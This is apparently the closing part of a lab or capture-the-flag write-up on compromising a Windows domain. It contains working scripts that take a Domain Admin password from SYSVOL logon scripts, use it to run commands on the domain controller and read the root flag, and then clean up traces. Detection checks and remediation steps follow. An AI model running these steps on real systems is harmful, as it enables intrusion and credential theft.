New-PSDrive -Name '<masked>' -PSProvider FileSystem -Root '<masked>' -Persist -Credential $Cred
### files that name a Domain Admin (923a, Administrator), by name and line number
3807dacb-db2a-4627-b2a3-123d048590e7.ps1:3: matches 923a
a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1:2: matches 923a
saved loot/sysvol-3807dacb-db2a-4627-b2a3-123d048590e7.ps1: 340 bytes
saved loot/sysvol-a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1: 340 bytes
[had_errors False]
[lr exit 0]
1,500 drive-mapping scripts of 340 bytes; the one printed and the ones I
saved hold a $User and a $Pass in clear. Two mention 923a: one on line
2, the user name, and one on line 3. The picker takes the first:
# from the saved logon scripts, take the one whose $User line names the account and write its $Pass value to <out file>; lengths only printed
# usage: 32-cred.py <account> <out file> <script.ps1>...
import re, sys
for f in sys.argv[3:]:
t = open(f).read()
u = re.search(r"\$User = '([^']*)'", t).group(1); p = re.search(r"\$Pass = '([^']*)'", t).group(1)
print("%s: user %s chosen, password %d characters" % (f.split("/")[-1], "matches," if u == sys.argv[1] else "is another account, not", len(p)))
if u == sys.argv[1]:
open(sys.argv[2], "w").write(p)
function B($s) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)) }
function Cred($u, $p) { New-Object Management.Automation.PSCredential($u, (ConvertTo-SecureString $p -AsPlainText -Force)) }
"### control: DC with a wrong password"
try { Invoke-Command -ComputerName dc.fulcrum.local -Credential (Cred 'FULCRUM\923a' 'wrong') -ScriptBlock { whoami } -ErrorAction Stop } catch { "failed: " + ("$_" -split "`n")[0] }
"### DC as FULCRUM\923a"
Invoke-Command -ComputerName dc.fulcrum.local -Credential (Cred 'FULCRUM\923a' (B '@@DAPW@@')) -ErrorAction Stop -ScriptBlock {
whoami; hostname
(whoami /groups | Select-String 'Domain Admins|Administrators|Mandatory') -replace '\s{2,}', ' '
Get-ChildItem C:\Users | Select-Object Name, LastWriteTime | Format-Table -AutoSize | Out-String
Get-ChildItem C:\Users\Administrator\Desktop, C:\Users\923a\Desktop -Force -ErrorAction SilentlyContinue | Select-Object Length, LastWriteTime, FullName | Format-Table -AutoSize | Out-String -Width 200
$f = Get-ChildItem C:\Users\*\Desktop\root.txt -ErrorAction SilentlyContinue | Select-Object -First 1
if ($f) { "root.txt: {0}, {1} bytes" -f $f.FullName, $f.Length; "B64FILE:root.txt:" + [Convert]::ToBase64String([IO.File]::ReadAllBytes($f.FullName)) }
"### for the write-up: who may write the scripts share, and the notes field on BTables"
(Get-Acl C:\Windows\SYSVOL\sysvol\fulcrum.local\scripts).Access | Select-Object IdentityReference, FileSystemRights, AccessControlType | Format-Table -AutoSize | Out-String -Width 200
Get-ChildItem C:\Windows\SYSVOL\sysvol\fulcrum.local\scripts | Group-Object { $_.LastWriteTime.ToString('yyyy-MM-dd') } | Select-Object Count, Name | Format-Table -AutoSize | Out-String
Get-ADUser BTables -Properties whenChanged, pwdLastSet, info | ForEach-Object { "BTables: whenChanged {0}, pwdLastSet {1}, info {2} characters" -f $_.whenChanged, [DateTime]::FromFileTime($_.pwdLastSet), $_.info.Length }
Get-ADUser 923a -Properties whenCreated, pwdLastSet, lastLogonDate | ForEach-Object { "923a: whenCreated {0}, pwdLastSet {1}, lastLogonDate {2}" -f $_.whenCreated, [DateTime]::FromFileTime($_.pwdLastSet), $_.lastLogonDate }
}
cd ../..; bin/kali fulcrum "python3 -I /work/artifacts/32-cred.py 923a /work/loot/923a.pw /work/loot/sysvol-*.ps1; python3 -I /work/artifacts/29-ps.py 10.129.136.254 31350 WebUser /work/loot/webuser.pw /work/artifacts/32-dc.ps1 DAPW=/work/loot/923a.pw 2>&1 | python3 -I /tools/b64file-filter.py loot loot/923a.pw | cut -c1-300; chown 1000:1000 /work/artifacts/root.txt /work/loot/*"
sysvol-3807dacb-db2a-4627-b2a3-123d048590e7.ps1: user is another account, not chosen, password 23 characters
sysvol-a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1: user matches, chosen, password 23 characters
### control: DC with a wrong password
failed: [dc.fulcrum.local] Connecting to remote server dc.fulcrum.local failed with the following error message : Access is denied. For more information, see the about_Remote_Troubleshooting Help topic.
### DC as FULCRUM\923a
fulcrum\923a
DC
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
FULCRUM\Domain Admins Group S-1-5-21-1158016984-652700382-3033952538-512 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
FULCRUM\Denied RODC Password Replication Group Alias S-1-5-21-1158016984-652700382-3033952538-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\High Mandatory Level Label S-1-16-12288
[...]
root.txt: C:\Users\Administrator\Desktop\root.txt, 32 bytes
saved artifacts/root.txt: 32 bytes
### for the write-up: who may write the scripts share, and the notes field on BTables
IdentityReference FileSystemRights AccessControlType
----------------- ---------------- -----------------
CREATOR OWNER 268435456 Allow
NT AUTHORITY\Authenticated Users -1610612736 Allow
NT AUTHORITY\Authenticated Users ReadAndExecute, Synchronize Allow
NT AUTHORITY\SYSTEM 268435456 Allow
NT AUTHORITY\SYSTEM FullControl Allow
BUILTIN\Administrators 268435456 Allow
BUILTIN\Administrators Write, ReadAndExecute, ChangePermissions, TakeOwnership, Synchronize Allow
BUILTIN\Server Operators -1610612736 Allow
BUILTIN\Server Operators ReadAndExecute, Synchronize Allow
Count Name
----- ----
1500 2022-02-12
BTables: whenChanged 11/26/2026 6:36:59 AM, pwdLastSet 5/8/2022 12:02:49 AM, info 40 characters
923a: whenCreated 5/8/2022 12:02:38 AM, pwdLastSet 5/8/2022 12:02:38 AM, lastLogonDate 11/26/2026 6:38:50 AM
[had_errors False]
[lr exit 0]
A session on the controller as a Domain Admin at high integrity, and the root flag from the Administrator’s desktop, 32 minutes of session time after the spawn.
Post-Exploitation
All 1,500 scripts carry one date in February 2022: a single batch. Authenticated Users can read and execute the scripts directory: the share is not misconfigured, its content is.
I did not dump the directory database or become root on the Linux host:
www-data on the hypervisor was enough. Before the stop:
echo "### php on the host, for the two things left unexplained in 16 and 17"
php --ini 2>&1 | head -4; php -r 'echo "php -r runs\n";' 2>&1 | head -3; php -n -r 'echo "php -n -r runs\n";' 2>&1 | head -3
grep -E '^(open_basedir|disable_functions|allow_url_include|allow_url_fopen)' /etc/php/7.4/fpm/php.ini /etc/php/7.4/cli/php.ini 2>&1 | cut -c1-200
ls -l /var/log/nginx/ 2>&1 | head -6
echo "### cleanup: relay, its file, the served directory; the runner goes last"
pkill -f '[.]f.py 31350'; rm -f /dev/shm/.f.py; ls -la /dev/shm/ /dev/shm/.w 2>&1 | head -20
rm -rf /dev/shm/.w; ss -tln | grep -E '3133|3134|3135'; ls -la /dev/shm
(sleep 1; pkill -f 'php -n -S') > /dev/null 2>&1 &
bash artifacts/18-sh.sh artifacts/33-last.sh; sleep 2; curl -s -S -m 5 -o /dev/null -w "31340 after cleanup: %{http_code}\n" http://10.129.136.254:31340/ ; true
### php on the host, for the two things left unexplained in 16 and 17
Configuration File (php.ini) Path: /etc/php/7.4/cli
Loaded Configuration File: /etc/php/7.4/cli/php.ini
Scan for additional .ini files in: /etc/php/7.4/cli/conf.d
Additional .ini files parsed: /etc/php/7.4/cli/conf.d/10-mysqlnd.ini,
php -r runs
php -n -r runs
/etc/php/7.4/fpm/php.ini:disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcnt
/etc/php/7.4/fpm/php.ini:allow_url_fopen = On
/etc/php/7.4/fpm/php.ini:allow_url_include = On
/etc/php/7.4/cli/php.ini:disable_functions =
/etc/php/7.4/cli/php.ini:allow_url_fopen = On
/etc/php/7.4/cli/php.ini:allow_url_include = Off
total 26812
-rw-r----- 1 www-data adm 315 Nov 26 06:17 access.log
-rw-r----- 1 www-data adm 14218000 Nov 25 07:09 access.log.1
-rw-r----- 1 www-data adm 0 Nov 26 00:00 error.log
-rw-r----- 1 www-data adm 13222060 Nov 25 07:09 error.log.1
### cleanup: relay, its file, the served directory; the runner goes last
/dev/shm/:
total 0
drwxrwxrwt 3 root root 60 Nov 26 06:39 .
drwxr-xr-x 17 root root 3940 Nov 25 06:43 ..
drwxr-xr-x 2 www-data www-data 80 Nov 25 06:49 .w
/dev/shm/.w:
total 8
drwxr-xr-x 2 www-data www-data 80 Nov 25 06:49 .
drwxrwxrwt 3 root root 60 Nov 26 06:39 ..
-rw-r--r-- 1 www-data www-data 469 Nov 25 06:49 o.txt
-rw-r--r-- 1 www-data www-data 152 Nov 25 06:48 s.php
LISTEN 0 4096 0.0.0.0:31340 0.0.0.0:*
total 0
drwxrwxrwt 2 root root 40 Nov 26 06:39 .
drwxr-xr-x 17 root root 3940 Nov 25 06:43 ..
curl: (7) Failed to connect to 10.129.136.254 port 31340 after 265 ms: Could not connect to server
31340 after cleanup: 000
[lr exit 0]
allow_url_include = On in the pool’s configuration let data: into the
include. The relay, its file and the served directory were removed and the
runner stopped itself last. Not tested: phpMyAdmin on 88, the site behind 80
and 9999, a plain GET for the script on port 4, and whether the guests can
connect outward.
Defensive Analysis
www-data can read the nginx access log (step 33). I opened neither it nor
any Windows log, so these are checks, not results. The 14 MB access.log.1
was last written at 07:09 UTC, when my wordlist scan ended; I take it to be
mostly that scan, 30 threads through every timing measurement and the
loudest thing in the session.
- Phase 1. A request to port 4 from 127.0.0.1 with
data:in the query string. Check:grep 'page=data' access.log. - Phase 2.
www-datastartingphp -S, and new listeners on 31337 to 31350. Check:execveauditing for uid 33. - Phase 4. An NTLM network logon for a local account on WEBSERVER from the hypervisor’s address. Check: event 4624, logon type 3.
- Phases 5 to 7.
BTablesand923alogging on to FILE and DC from WEBSERVER, and one client reading 1,500 files from SYSVOL in one pass. Checks: 4624 on FILE and the controller, 5145 with file share auditing on, and on WEBSERVER 4648 and script block logging (4104).
Remediation
None of these was applied on the box, and none of the checks was run.
- Remove
LIBXML_NOENT|LIBXML_DTDLOADand addLIBXML_NONET. Check: the external entity request forsleep(6)in step 6 returns in baseline time. - Replace the include with a fixed map of page names and set
allow_url_include = Off. Check:sleep(6)returns as fast assleep(0). - Do not authenticate by
REMOTE_ADDR, and take the script out of the web root and the key out of the script. Check:grep -r SecureStringover the web roots finds nothing. - Give the IIS application a managed service account, or encrypt the
provider section of
web.config. Check: step 28 finds no password attribute. - Clear the
infoattribute, change that account’s password, and search free-text attributes for “password”. Check: step 29 returns no such value. - Delete the scripts, rotate every password in them, and take
923aout of Domain Admins. Check:Select-String -Pattern 'Pass'over the scripts share finds nothing. - Accept Domain Admin logons only from administrative hosts: an authentication policy silo and Protected Users (product knowledge). Check: step 32’s credential is refused from WEBSERVER on 5985 and 445.
Key Takeaways
- A blind primitive answers questions only if they arrive intact. Count the
decoders between the keyboard and the interpreter: one lost
+turned three sums into single facts and cost me two listeners. - With no callback, use what the target can do to itself: a
data:URI, a listener, a relay. - Each credential was readable by the account the previous step produced, and the controller was one permitted hop from a web server.